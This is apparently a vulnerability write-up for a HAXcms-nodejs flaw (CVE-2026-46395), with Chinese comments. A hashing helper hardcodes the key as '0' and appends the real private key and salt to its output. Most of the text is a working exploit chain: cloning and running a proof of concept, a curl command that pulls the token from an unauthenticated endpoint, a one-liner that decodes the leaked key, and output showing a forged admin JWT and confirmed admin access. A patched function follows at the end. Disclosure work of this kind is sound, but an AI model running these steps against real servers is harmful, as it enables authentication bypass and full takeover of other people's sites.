// HAXCMS.js:2158-2163 - 存在漏洞
hmacBase64(data, key) {
  var buf1 = crypto.createHmac("sha256", "0").update(data).digest();  // 错误1：密钥硬编码为 "0"
  var buf2 = Buffer.from(key);                                        // 错误2：真实密钥...
  return Buffer.concat([buf1, buf2]).toString('base64')               // ...被追加到输出中
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

base64url( [32 字节: 以 "0" 为密钥的 HMAC-SHA256 摘要] [N 字节: 私钥 + salt 明文] )

git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js            # 在 http://localhost:3000 上提供服务

git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install                # 安装 jsonwebtoken（用于 JWT 伪造）
node poc_hmac_key_leak.js http://localhost:3000

TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
  | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)

node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
         console.log('泄露的密钥:', Buffer.from(t,'base64').slice(32).toString('utf8'));"

步骤1: 获取 /system/api/connectionSettings（无需认证）
  token 长度: 139 字符（正确的 HMAC 令牌约为 44 字符）

步骤2: 从令牌中提取私钥
  字节 32+（私钥 + salt 明文）:
    4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
  结果: 私钥成功提取！

步骤3: 匹配 - 提取的密钥正确。
步骤4: 伪造 JWT（用户=admin）...
步骤7: 站点创建成功 - 确认完全管理员访问权限。

hmacBase64(data, key) {
  return crypto.createHmac("sha256", key)   // 使用真实密钥
    .update(data)
    .digest('base64')                        // 仅返回哈希值
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}